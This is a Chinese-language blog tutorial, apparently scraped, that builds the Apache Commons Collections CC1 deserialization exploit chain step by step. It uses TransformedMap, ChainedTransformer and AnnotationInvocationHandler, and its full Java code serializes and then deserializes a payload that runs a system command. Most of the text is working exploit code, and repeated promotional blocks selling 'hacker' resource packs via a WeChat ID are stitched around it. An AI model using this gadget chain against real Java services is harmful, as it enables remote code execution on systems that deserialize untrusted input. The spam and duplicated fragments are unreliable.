赞
踩
先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7
深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
我们点进去看,发现这是一个抽象类,是 TransformedMap
的父类——AbstractInputCheckedMapDecorator
类。
调用 checkSetValue
方法的类是 AbstractInputCheckedMapDecorator
类中的一个内部类 MapEntry
,setValue()
实际上就是在 Map 中对一组 entry(键值对) 进行 setValue()
操作。
所以,我们在进行 .decorate
方法调用,进行 Map 遍历的时候,就会走到 setValue()
当中,而 setValue()
就会调用 checkSetValue
。
写一个demo,看看在遍历一个经过decorate之后的 Map,是否会触发setValue()
,进而走到checkSetValue()
里面。
import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class Main { public static void main(String[] args) { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}); HashMap<Object, Object> map = new HashMap<>(); map.put("key", "value"); Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, invokerTransformer); for (Map.Entry entry : decorateMap.entrySet()) { entry.setValue(r); } } }
可见,真的触发setValue()
,进而走到checkSetValue()
里面了。
所以,如果有一个遍历Map的地方,并且调用了setValue(),即可构造poc。
**当然,如果能找到一个 readObject()
** ** 里面调用了 setValue()
** 就太好了。
还是FindUsages
,成功找到一个在readObject()
方法里面调用setValue()
的地方,
AnnotationInvocationHandler
类的readObject
函数,我们先看一下构造函数
构造函数传进去两个参数,一个是注解,另一个是一个 Map,这个 map 就是我们传进去的恶意的 map(decorateMap)。
readObject函数里面完美符合我们的条件。
但是我们需要注意的是:AnnotationInvocationHandler
类的作用域为 default
,我们需要通过反射的方式来获取这个类及其构造函数,再实例化它。还要满足两个if语句。
import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.\*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; public class Main { public static void main(String[] args) throws Exception { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}); HashMap<Object, Object> map = new HashMap<>(); map.put("key", "value"); Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, invokerTransformer); //通过发射把decorateMap传进去 Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor dc = clazz.getDeclaredConstructor(Class.class, Map.class); dc.setAccessible(true); Object o = dc.newInstance(Target.class, decorateMap); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
这里面有 3 个问题需要解决
Runtime
对象不可序列化,需要通过反射将其变成可以序列化的形式。setValue()
的传参,是需要传进去一个 Runtime
对象的;而在实际情况当中的 setValue()
的传参是这个东西Runtime 类不能序列化,但是 Runtime.class是可以序列化的
我们可以通过反射执行Runtime.getRuntime()
public class Main {
public static void main(String[] args) throws Exception {
Class clazz = Runtime.class;
Method getruntime = clazz.getMethod("getRuntime",null);
Runtime r = (Runtime) getruntime.invoke(null,null);//由于是静态方法,所以第一个参数是 null,由于是无参的,所以第二个参数也为 null
Method execMethod = clazz.getMethod("exec", String.class);
execMethod.invoke(r,"open -a Calculator");
}
}
现在转换为InvokerTransformer版本
public class Main {
public static void main(String[] args) throws Exception {
// Class clazz = Runtime.class;
// Method getruntime = clazz.getMethod("getRuntime",null);
// Runtime r = (Runtime) getruntime.invoke(null,null);//由于是静态方法,所以第一个参数是 null,由于是无参的,所以第二个参数也为 null
// Method execMethod = clazz.getMethod("exec", String.class);
// execMethod.invoke(r,"open -a Calculator");
Method getruntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getruntime);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}).transform(r);
}
}
这里看代码算是一个循环调用,即:
稍微理一理可以看到,上方主函数最后三行代码有一个共同点就是:
new InvokerTransformer().transform()
transform()
方法里的参数都是前一个的结果从代码的复用性角度来说,我们应当减少这种复用的工作量,于是我们使用 ChainedTransformer
这个类。
代码如下:
只需要在最开始的transform
函数传一个Runtime.class
即可。
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
new ChainedTransformer(transformers).transform(Runtime.class);
}
}
至此,第一个问题解决。
与之前的链子结合起来:
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.\*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; public class Main { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // chainedTransformer.transform(Runtime.class); HashMap<Object, Object> map = new HashMap<>(); map.put("key", "value"); Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor dc = clazz.getDeclaredConstructor(Class.class, Map.class); dc.setAccessible(true); Object o = dc.newInstance(Target.class, decorateMap); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
但是我们还是弹不出计算器,是因为还有问题没解决。
调试一下看看为什么
看到memberType是空的,压根没有进去
首先需要确保memberType不为空。
Target.class ——》type,一个注解
decorateMap——》memberValues
看源码可以得知,要想memberType不为空,传进去的type的值,注解必须有参数,不为空
内置的注解可以用的有Retention,Target都可以
注解参数为value,那么我们构造的 map 的key的值必须也为 “value”
package demo1; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.\*; import java.lang.annotation.Retention; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; public class Main { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // chainedTransformer.transform(Runtime.class); HashMap<Object, Object> map = new HashMap<>(); map.put("value", "aaa"); Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor dc = clazz.getDeclaredConstructor(Class.class, Map.class); dc.setAccessible(true); Object o = dc.newInstance(Retention.class, decorateMap); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
终于可以进去了
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
因篇幅有限,仅展示部分资料
网络安全面试题
绿盟护网行动
还有大家最喜欢的黑客技术
网络安全源码合集+工具包
所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
g.cn/img_convert/5072ce807750c7ec721c2501c29cb7d5.png)
所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
[外链图片转存中…(img-z0O3Hj6u-1713119016144)]
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。